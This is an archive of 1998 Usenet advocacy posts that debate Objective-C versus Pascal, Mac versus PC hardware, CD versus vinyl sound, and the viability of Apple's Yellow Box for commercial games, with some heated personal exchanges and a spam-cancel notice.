useful. I.E. I would have hated to rewrite a network base 4 FFT routine from
scratch for a particular project, I would have had to with Delphi Pascal
(unless someone had a pascal version already), but I didn't with Objective C
(because there are TONS of free straight C FFT routines around and I just
mooched one and tossed it in).
> Actually, Pascal code compiles faster because it uses a single-pass
> compiler. The execution speed of pascal code need not be any
> slower than C code. For low- level work, the only thing that
Maybe it needent, but generally it is.
> pascal is missing is the volatile and register keywords. The
> register keyword is only marginally useful and compiler directives
> take care of volatile. The bit operators use functional notation
> but are just as complete as they are in C. And remember, you said
> "but is based on pascal" so the features of Objective-C (except
> the C subset) are not relevant.
Perhaps to you they are not, but to people that actually use it, they are.
> > I don't see pascal as having as broad a range.
>
> If I understand you, I think that you are wrong :) BTW, have you
> ever used Modula-2? Pascal was meant as a teaching language so
> Worth make Modula-2 as a production software language. It is
> similar to pascal but has a lot of advantages over C. On of the
> biggest, IMHO, is real data hiding. Even Objective- C forces you
> to make public the variables found in structures and classes.
> Modula-2 doesn't.
Not really. I've only dinked around with modula a while back. I don't
believe Delphi uses a modula variant anyway, so that is a moot point. As far
as Objective C making things public or not, you certainly can make things
private in objective C.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <35de9e79.0@194.116.20.4>
Control: cancel <35de9e79.0@194.116.20.4>
Date: 22 Aug 1998 14:25:25 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.35de9e79.0@194.116.20.4>
Sender: freexxx@fuse.net
Article cancelled as EMP/ECP, exceeding a BI of 20.
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Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
Date: Sat, 22 Aug 1998 11:26:55 -0400
From: a_fraser@one.net (Alan Fraser)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <a_fraser-2208981126550001@port-50-11.access.one.net>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <gmgraves-2108981144550001@sf-usr1-13-141.dialup.slip.net> <6rkr4s$idn$1@nnrp1.dejanews.com> <gmgraves-2108981746160001@sf-pm5-12-76.dialup.slip.net> <6rm07c$srq$1@nnrp1.dejanews.com>
Organization: Whammer Jammer Enterprises
In article <6rm07c$srq$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <gmgraves-2108981746160001@sf-pm5-12-76.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > You see, we Mac users may have less ultimate
> > hardware or software than either, but we have what we need and then, of
> > course we don't have to put up with Window's lame user interface either.
> > I'd say that gives us an extreme advantage.
>
> The interface is an advantage. The lack of hardware and software is not. I
> also hate how less capable hardware is more expensive on the Mac.
Yeah...I'm crippled by it. I've only got six music synthesizers connected
to it...four mountable drives...three hard drives (one Ultra SCSI)...an
A-D switch for selecting modem / MIDI / digital camera / QuickCam and so
on...blah, blah, blah...
On the other hand, I've got the Microsoft's Personal Web Server on my PC
at work. After installing Front Page, the index.htm page moved somewhere
and, after an hour of looking, I gave up trying to find it. (I did a find
on 'index' and, between PWS and Front Page, there were more than ten of
them, none of which was the actual page. Priceless...) Give me a Mac for
developing pages and Unix for serving them...
Please, more PC trolls in the Mac newsgroups! They add as much to my life
as Ken Starr adds to Clinton's!!
--
Alan Fraser - a_fraser@one.net
Home Page --- http://w3.one.net/~a_fraser/
From: ckoller@worldnet.att.net (Craig(nospam)Koller)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: iMac - Bad News For Apple
Date: 22 Aug 1998 15:52:12 GMT
Organization: AT&T WorldNet Services
Message-ID: <ckoller-2208980854210001@132.los-angeles-07.ca.dial-access.att.net>
References: <6rl84d$29p$1@nnrp1.dejanews.com> <13663-35DE85A4-11@newsd-124.bryant.webtv.net> <6rmfe5$bvh$1@nnrp1.dejanews.com>
In article <6rmfe5$bvh$1@nnrp1.dejanews.com>, NedMullen@email.msn.com wrote:
> Josh,
>
> I found out some time ago that I do have better things to do than to develop
> code for the Mac.
>
> And now I know that I need not and should not bother with the iMac.
>
> The first law of computers is very simple and to the point:
>
> Sales = Code ' No Code, no sales
>
So I guess, seeing that you don't code for Macs, the resurgeance of the
Mac market wouldn't necessarily be in your best interest, huh. And having
read your more *detailed* explanation of your iMac experience, it still
looks like you were trying to find fault with a machine you had no
intention of giving a fair shake. I'm still find your story quite dubious,
and that you'd initially post to "alt.destroy.microsoft?" What's up with
that?
Truth be told, assuming you did go through the iMac motions, it's rather
silly at this point to consider the iMac the watershed event for
programming and technical viability. It's running the same old MacOS 8.1
that's been running in machines for a year now. The iMac is not a
technical leap, but rather about Apple's ability to broadcast a compelling
marketing message and move a ton of product at retail, to first-timers,
disgruntled Windows users and Mac users.
Based on that criteria the iMac has been an unprecidented success.
But the iMac offers nothing new in the way of OS and hardware technology
(except for USB which can be had on any PCI-based PowerMac). If you're
sincere in your desire to evaluate the Mac, wait until MacOS 8.5 (for
networking speed and other enhancements) and MacOS X Server arrive this
fall. Many of the NeXTStep RAD tools are wending their way to the Mac
platform, and the mission-critical stability of NeXTStep is also going to
characterize MacOS X Server.
Then again, you can just ignore it, and allow your competition to consider it.
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Date: Sat, 22 Aug 1998 09:51:15 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2208980951160001@209.38.141.117>
References: <joe.ragosta-1408981927480001@elk72.dol.net> <joe.ragosta-1508980652460001@elk56.dol.net> <edewExt44K.Hq0@netcom.com> <6racqh$its$2@walter.cs.umd.edu> <gmgraves-1808981108170001@sf-usr1-26-154.dialup.slip.net> <p.kerr-1908981231590001@news.auckland.ac.nz> <6repa4$bge$2@walter.cs.umd.edu> <gmgraves-1908981015510001@sf-usr1-40-168.dialup.slip.net> <6rf3pj$fjd$1@walter.cs.umd.edu> <gmgraves-2008980931360001@sf-usr1-52-180.dialup.slip.net> <6rjnkp$473$1@nnrp1.dejanews.com> <gmgraves-2108981153260001@sf-usr1-13-141.dialup.slip.net>
NNTP-Posting-Date: 22 Aug 1998 15:49:05 GMT
In article <gmgraves-2108981153260001@sf-usr1-13-141.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> You obviously haven't been following this thread. I have already stated that
> vinyl sounds better than CD, and that I continue to listen to vinyl for
> musical pleasure when I can. My Mercury and RCA Living Stereo LPs are
> treasures to me, and I buy good used ones anytime that I can find them at
> reasonable prices.
In my opinion, the CD is a much better recording/play back medium than
vinyl. To you, vinyl may sound better than a CD, but I don't think that
is due to any specific advantage that vinyl has over CD's, but more to do
with what you're accustom to. Vinyl has a distinct sound, and you've
listened to it for quite some time...it is what you have become accustom
to. As such, vinyl is better (to you) because it continues to deliver the
sound that you've become accustom to. A CD doesn't deliver that same
sound as it has better reproduction capability than vinyl. On a technical
merit...vinyl loses big time to digital storage. But music is much more
than technical merit...it's about how much pleasure you derive from the
sound. Every system/medium/what have you has a different sound...which
is correct? That is subjective. I recently looked at purchasing a new
set of speakers for my stereo. Each model had a different sound to them
(side by side listening test)...who's to say which one was the "correct"
sound? Only I can make that determination.
But on a technical basis, CD is much better than vinyl.
Josh
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: No question about focus -> Apple is targetting everybody!
Date: Wed, 19 Aug 1998 17:34:26 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6rfk1n$ekc3@odie.mcleod.net>
References: <6rfgpf$sq9$1@newsreader.wustl.edu>
>Looks like that settles the question. Apple is targeting everybody!
Then why are they making public pronouncements that suggest to the vast
majority of potential customers that Apple is not for them ?
From: gibson@prairienet.org (Mark Gibson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE'S MINDSHARE IS MINISCULE!
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Date: 22 Aug 1998 16:43:32 GMT
Organization: Only fascists and fools favor gun control laws.
Message-ID: <6rmsfk$mf9$1@wildfire.prairienet.org>
References: <a_fraser-2208981126550001@port-50-11.access.one.net>
See the corrected version of the thread title. Note how many large
organizations which willingly buy many makes and models of computers
will no longer buy anything made by Apple.
Macintosh: computers for the fools among us.
--
GET THE REAL FACTS AT: www.free-market.net www.reason.com
www.lp.org/lp-news.html www.drudgereport.com www.i2i.org
www.nra.org/nraila.html www.freerepublic.com www.jpfo.org
www.worldnetdaily.com www.2ndLawLib.org thomas.loc.gov
From: gibson@prairienet.org (Mark Gibson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green LEDs
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Date: 22 Aug 1998 16:45:19 GMT
Organization: Only fascists and fools favor gun control laws.
Message-ID: <6rmsiv$mf9$2@wildfire.prairienet.org>
References: <35d525ad.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <uthant-1808981759220001@user-37kb5fb.dialup.mindsprin <6riq8l$2gf$1@nnrp1.dejanews.com> <6rmitv$q7t$1@jetsam.uits.indiana.edu>
Gregory Loren Hansen (glhansen@copper.ucs.indiana.edu) wrote:
>
>Hey, I just discovered that programs on CD run much faster if you color
>the rim with a green marker!
Let me guess: you are a closet Mac lover.
--
GET THE REAL FACTS AT: www.free-market.net www.reason.com
www.lp.org/lp-news.html www.drudgereport.com www.i2i.org
www.nra.org/nraila.html www.freerepublic.com www.jpfo.org
www.worldnetdaily.com www.2ndLawLib.org thomas.loc.gov
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: iMac - Bad News For Apple
Date: Sat, 22 Aug 1998 11:57:27 -0600
Organization: Prairie Group
Message-ID: <don.brown-2208981157270001@dsm-ia3-04.ix.netcom.com>
References: <6rl84d$29p$1@nnrp1.dejanews.com> <13663-35DE85A4-11@newsd-124.bryant.webtv.net> <6rmfe5$bvh$1@nnrp1.dejanews.com>
In article <6rmfe5$bvh$1@nnrp1.dejanews.com>, NedMullen@email.msn.com wrote:
>Josh,
>
>I found out some time ago that I do have better things to do than to develop
>code for the Mac.
>
>And now I know that I need not and should not bother with the iMac.
>
>The first law of computers is very simple and to the point:
>
> Sales = Code ' No Code, no sales
>
No sales = no code. Millions sold = code.
But thanks for keeping out of my market. All the more for me and the
other Mac developers!
Donald
From: "Doug Ivers" <dliver@mindspring.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Sun, 23 Aug 1998 01:17:53 -0400
Organization: MindSpring Enterprises
Message-ID: <6rmua3$blb$1@camel25.mindspring.com>
References: <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <35dc0e60.788068@news.supernews.com> <slrn6tkr5o.bl2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35de4bec.11657983@news.netdirect.net> <joe.ragosta-1908981845370001@elk70.dol.net> <35DC37CF.56D9BDC2@ericsson.com> <joe.ragosta-2108981424080001@wil54.dol.net> <35DDD340.230E7E20@ericsson.com> <joe.ragosta-2108981917480001@elk120.dol.net> <35df2f1e.115007972@news.netdirect.net>
Mayor Of R'lyeh wrote in message <35df2f1e.115007972@news.netdirect.net>...
snip
>How old are you, Joe? If you think today's typical car
>has any performance in it then you must be in your early twenties.
>Without the CAFE standards we'd still have safe cars. That's the
>bottom line. You act as if the CAFE are something good and neccesary.
>They are arbitrary and a prime example of government micro management
>of an industry. Its a good thing that you like this sort of thing. If
>the government gets its way and actually rapes Microsoft you're going
>to see a lot of it in the computer industry.
>
Actually, the CAFE standards were another example of the government deciding
"we have to do something!!!" when inaction would have been a much better
choice. A surprising large percentage of the American public are so stupid
they actually believe in the Fish carburetor story, where a man names Fish
invented a magic carburetor that allowed his 73 Trans Am to get 120 MPG but
the oil companies bought him out and he now lives in a mansion in Venezuela.
There is an alternate ending where the oil companies just kill him. When
CAFE was passed a lot of people thought fuel economy was free and they would
not have to give up performance or size.
The original standards called for an average of 37.5 MPG several years ago.
When the fuel crisis eased and people realized there are no magic
carburetors congress quietly started lowering the CAFE standards to whatever
Detroit was building. Fuel injection and other technology has made cars
more efficient than ever but these are incremental improvements that would
have happened without CAFE.
If you think cars are significantly lighter and therefore less safe now buy
a car magazine and check out the curb weight of todays cars. Mid size cars
usually run 3100-3500 and large cars are still near 4000 pounds. The sport
utility vehicles which account for a third of all new sales start around
4000 pounds for the small ones and go up past 5500 for the large ones,
making them the heaviest family vehicles of all time.
I am old enough to remember real muscle cars from when I was in high school
in the 70's. Late 60s GTOs and 442s were old enough for high school
students to afford then. While todays performance cars cannot match the
noise, vibration and feeling of raw power those cars had they can provide
comparable acceleration and greatly improved handling and braking.
Doug
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Subject: *****100 % Free Porn*****
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From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sat, 22 Aug 1998 11:27:44 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2208981127450001@sf-usr1-32-160.dialup.slip.net>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <gmgraves-2108981144550001@sf-usr1-13-141.dialup.slip.net> <6rkr4s$idn$1@nnrp1.dejanews.com> <gmgraves-2108981746160001@sf-pm5-12-76.dialup.slip.net> <6rm07c$srq$1@nnrp1.dejanews.com>
In article <6rm07c$srq$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <gmgraves-2108981746160001@sf-pm5-12-76.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > You see, we Mac users may have less ultimate
> > hardware or software than either, but we have what we need and then, of
> > course we don't have to put up with Window's lame user interface either.
> > I'd say that gives us an extreme advantage.
>
> The interface is an advantage. The lack of hardware and software is not. I
> also hate how less capable hardware is more expensive on the Mac.
>
> > OpenStep is passe and will soon BE the Mac OS-X. I have fooled with Rhapsody
> > in its two DR releases and it is NOT as polished as MacOS. Better than
> > Windows maybe, but it still has more UNIX sticking out of it than it does
> > MacOS even though it looks and feels a lot like MacOS.
>
> Will soon be but is not now. I assumed that you were refering to the present.
> Of course, Rhapsody is less polished than the Mac OS. It is a grafting of Mac
> OS on top of OpenStep. Apple changed a lot (often for the worse, IMHO) when
> they modified OpenStep to make Rhapsody. Have you even used OpenStep or seen
> a study whose conclusion was that the Mac OS is more productive than
> OpenStep? If not then you have no basis for making your claim.
What claim? You asked me about productivity studies between MacOS and OpenStep.
I said that its irrelevant because OpenStep is a thing of the past. I
don't believe
that Apple even sells it anymore (if they do, I'd be very surprised.). If
by your cryptic
challange above, you mean to take me to task for not answering your question, I
apologize, I wrote the last response hurriedly, and really didn't finish.
I doubt seriously if any productivity studies between MacOS and OpenStep
have ever
been done (I've never seen any) for the simple reason that the installed
base of
OpenStep machines is tiny, and the productivity software for Openstep is either
nonexistent or so far out of the mainstream as to make any comparisons
practically
meaningless and fairly odious. The reasons why the studies have been done
between
Macs and PCs, is that many of the same tasks using the same software can
be carried
out on both. This makes any differences noted less likely to be a result
of different
software, and more likely to be a result of the platform differences. In a
car race, if
you put all the drivers in identical cars, the difference between the
winner and he/she
who comes-in last, is more apt to be driver skill than any hardware
advantage. Its the
same sort of thing.
George Graves
>
> --
> Brian Quinlan
> quinlan@intergate.bc.ca
>
> -----== Posted via Deja News, The Leader in Internet Discussion ==-----
> http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE'S MINDSHARE IS MINISCULE!
Date: Sat, 22 Aug 1998 11:30:54 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2208981130550001@sf-usr1-32-160.dialup.slip.net>
References: <a_fraser-2208981126550001@port-50-11.access.one.net> <6rmsfk$mf9$1@wildfire.prairienet.org>
In article <6rmsfk$mf9$1@wildfire.prairienet.org>, gibson@prairienet.org
(Mark Gibson) wrote:
> See the corrected version of the thread title. Note how many large
> organizations which willingly buy many makes and models of computers
> will no longer buy anything made by Apple.
>
> Macintosh: computers for the fools among us.
Spoken by someone who is an expert on fools, if not on computers..
"Rave on that men might know you mad."
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sat, 22 Aug 1998 11:35:15 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2208981135150001@sf-usr1-32-160.dialup.slip.net>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <6rkhub$705$1@nnrp1.dejanews.com> <joe.ragosta-2108981911390001@elk120.dol.net> <6rlvbo$ro7$1@nnrp1.dejanews.com>
In article <6rlvbo$ro7$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <joe.ragosta-2108981911390001@elk120.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > That's nice.
> >
> > Of course, it has nothing to do with the topic.
> >
> > Every time you actually _measure_ one OS against the others, Mac OS wins.
> > Your personal preference isn't very easily measurable.
>
> What measurements are you referring too? The ones on you website? None of
> those studies seemed particularly relevant to me. Your favorite compares
> Windows 3.1 with the Mac OS! That study is no longer relevant. The next one
> is a comparison when doing graphics tasks. That isn't terribly relevant to
> me. The one after that compares ease of use which is irrelevant to anyone who
> knows how to use both expertly. It stated, however, that "[The MacOS is]
> slightly more usable than Windows 95." I am not sure if that means that it is
> easier to use or more productive. In any case, it was an opinion not a study.
> The one after that is full of broken links so I couldn't look at it. The one
> after that also refers only to Windows 3.1 and is an explanation not a study.
>
> So, unless you can refer me to a study which compares the productivity of NT 4
> vs the Mac OS for the expert user familiar with both, I will have to go with
> the one which I find is most productive.
From a productivity standpoint, NT4 and Win95/8 would be VERY similar because
they are the same user interface which works the same way. So, I'd say that
productivity wise, Win95/8 and NT4 are six of one, a half dozen of the other.
George Graves
>
> ---
> Brian Quinlan
> quinlan@intergate.bc.ca
>
> -----== Posted via Deja News, The Leader in Internet Discussion ==-----
> http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: email@address.com
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Subject: FREE PORN
Date: 22 Aug 98 18:11:13 GMT
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Newsgroups: comp.sys.next.advocacy
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From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: 3D chips
Date: Sat, 22 Aug 1998 14:11:35 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35DF17E7.77640587@nstar.net>
References: <6ri2mt$3j6@newsb.netnews.att.com> <6rin3i$uki$1@nnrp1.dejanews.com> <see-below-2008982307040001@dynamic13.pm03.mv.best.com> <6rkkik$a7p$1@nnrp1.dejanews.com> <see-below-2108982110240001@dynamic40.pm05.mv.best.com>
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Matthew Vaughan wrote:
> I really don't know the details, but my impression (even before Ray posted
> this) was the "Turbo" part was manly the result of an updated driver on
> the PC side.
I believe it actually has to do with TV output; i.e. the Turbo has it.
MJP
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Sat, 22 Aug 1998 19:33:30 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rn6ea$42n$1@nnrp1.dejanews.com>
References: <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6riimr$3r8$1@lwnws01.ne.highway1.com> <6rj31o$css$1@nnrp1.dejanews.com> <6rk08i$6ur$2@lwnws01.ne.highway1.com> <6rkh6m$666$1@nnrp1.dejanews.com> <6rmjvi$41l$1@lwnws01.ne.highway1.com>
In article <6rmjvi$41l$1@lwnws01.ne.highway1.com>,
jkheit@mediaone.net wrote:
> You'd imagine wrong. I've used fft, scsi, and other code, wholesale, wrapped
> inside a method. It works great. Not a single line to rewrite. And
> blazingly fast.
Fair enough.
> That's not what I'm talking about. I'm talking Objective C vs. Objective
> Pascal. The ability to use straight C when needed in OBjective C is very
> useful. I.E. I would have hated to rewrite a network base 4 FFT routine from
> scratch for a particular project, I would have had to with Delphi Pascal
> (unless someone had a pascal version already), but I didn't with Objective C
> (because there are TONS of free straight C FFT routines around and I just
> mooched one and tossed it in).
There is a fair bit of Pascal code already out there so you could easily find
a FFT routine. But, even if you couldn't, converting the C routine to Pascal
would probably take you about five minutes. And automated techniques are
available.
> Maybe it needent, but generally it is.
Do you have any evidence to support this claim? I haven't seen any pascal
compilers for UNIX than don't use gcc as a back end so those would generate
the same quality of code.
> Perhaps to you they are not, but to people that actually use it, they are.
I was complaining that you were arguing the features of Pascal vs Objective-C
instead of Pascal vs C or Objective-Pascal vs Objective-C. That complaint has
no merit so I retract it.
> Not really. I've only dinked around with modula a while back. I don't
> believe Delphi uses a modula variant anyway, so that is a moot point. As far
> as Objective C making things public or not, you certainly can make things
> private in objective C.
The point is relevant only if the designers of Delphi used some of the
advanced contructs found in Modula-2. I haven't used Delphi so I couldn't
say. In Objective-C, you can mark a attribute as private but you can't
actually stop the user from seeing it i.e. the contents of the object must be
fully specified in the interface for the user to see.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: writing games for yellow box?
Date: Sat, 22 Aug 1998 14:43:23 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6rn74v$7ne3@odie.mcleod.net>
References: <mvdk-2008981748580001@192.0.1.3> <Ey01q1.6Ax@T-FCN.Net> <ch-2008981911010001@1cust124.tnt2.redmond.wa.da.uu.net>
As the President of an entertainment software company that has produced two
commercial games using Yellow Box technology, I think you should forget
about shipping any commercial Yellow Box game.
There are several show stopping problems with each platform.
MacOS-X:
- Will not ship until late 1999 at the earliest. Expect it to be 2002
before enough consumers have this OS to support even a low cost game.
- Imaging technology for MacOS-X is still undefined
- There is no supported API for QuickTime from YellowBox code other than a
set of Java classes that have their own problems.
- Apple tools and API such as game sprockets can not be used effectively
with YellowBox
Windows:
- Current licensing makes commercial game distribution practically
impossible
- Licensing issues will not be resolved until ~late 1999 if then
- There is a triple buffering "latency" problem that makes animation almost
impossible to coordinate via YellowBox on Windows. See the Lines example
program with lots of lines and a full screen window. Animation is still
fast, but the display gets far behind the program. Window buffers are
queued requiring a huge memory foot print.
Incidentally, the NSImage operations in YellowBox are at least as fast as
the Windows GDI image operations and NSImage is very much more powerful.
Direct Draw on Windows using hardware Blts benchmarks between 2 and 9 times
faster than NSImage on the range of hardware with which we test.
- All of the major world wide distributors are reluctant to distribute
products that have run time components out of their control. This means
YellowBox.
- YellowBox programmers are hard to find and expensive.
- Any technology sponsored by Apple is dismissed as "bad" or "inferior" or
not "Windows" by most distributors and most Windows consumers. YellowBox
currently requires the presence of an "Apple" directory on the consumer's
machine. The home testers we employ all either complained about having
"Apple crap" on their hard drives or just deleted the Apple directory and
then wondered why the game did not work.
What you can do:
We were very successful and very productive building what turned out to be
demo/prototype versions of our games using Openstep technology. This
enabled us to quickly produce something to show to publishers, distributors,
and the public. Using Openstep, you can go through all of the change cycles
needed to make the game fun and ideally build just the right game once with
the inferior Windows APIs. It is also much more productive to build tools
such as level editors, image manipulators, and test suits with Openstep.
Erik M. Buck
President EMB & Assoc. Inc.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sat, 22 Aug 1998 19:43:27 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rn70v$4lk$1@nnrp1.dejanews.com>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <gmgraves-2108981144550001@sf-usr1-13-141.dialup.slip.net> <6rkr4s$idn$1@nnrp1.dejanews.com> <gmgraves-2108981746160001@sf-pm5-12-76.dialup.slip.net> <6rm07c$srq$1@nnrp1.dejanews.com> <a_fraser-2208981126550001@port-50-11.access.one.net>
In article <a_fraser-2208981126550001@port-50-11.access.one.net>,
a_fraser@one.net (Alan Fraser) wrote:
> Yeah...I'm crippled by it. I've only got six music synthesizers connected
> to it...four mountable drives...three hard drives (one Ultra SCSI)...an
> A-D switch for selecting modem / MIDI / digital camera / QuickCam and so
> on...blah, blah, blah...
And I could connect all of those things to my PC. Plus I could add an AGP
video card which you can't. Instead, you'd probably buy a Nexus GA which is
more expensive (on the Mac) than a Velocity 128 and less than half as fast. I
could pick one of several Voodoo II boards instead of paying more for the
GameWizard which has less RAM. And so on...
> On the other hand, I've got the Microsoft's Personal Web Server on my PC
> at work. After installing Front Page, the index.htm page moved somewhere
> and, after an hour of looking, I gave up trying to find it. (I did a find
> on 'index' and, between PWS and Front Page, there were more than ten of
> them, none of which was the actual page. Priceless...) Give me a Mac for
> developing pages and Unix for serving them...
Fair enough. I have never had any problems like this on my PC but I do use
UNIX for web serving as well. I do page development on my PC and graphic
development on my Mac.
> Please, more PC trolls in the Mac newsgroups! They add as much to my life
> as Ken Starr adds to Clinton's!!
I am not a PC troll. I have a Mac and probably know more about Macs than you
do.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
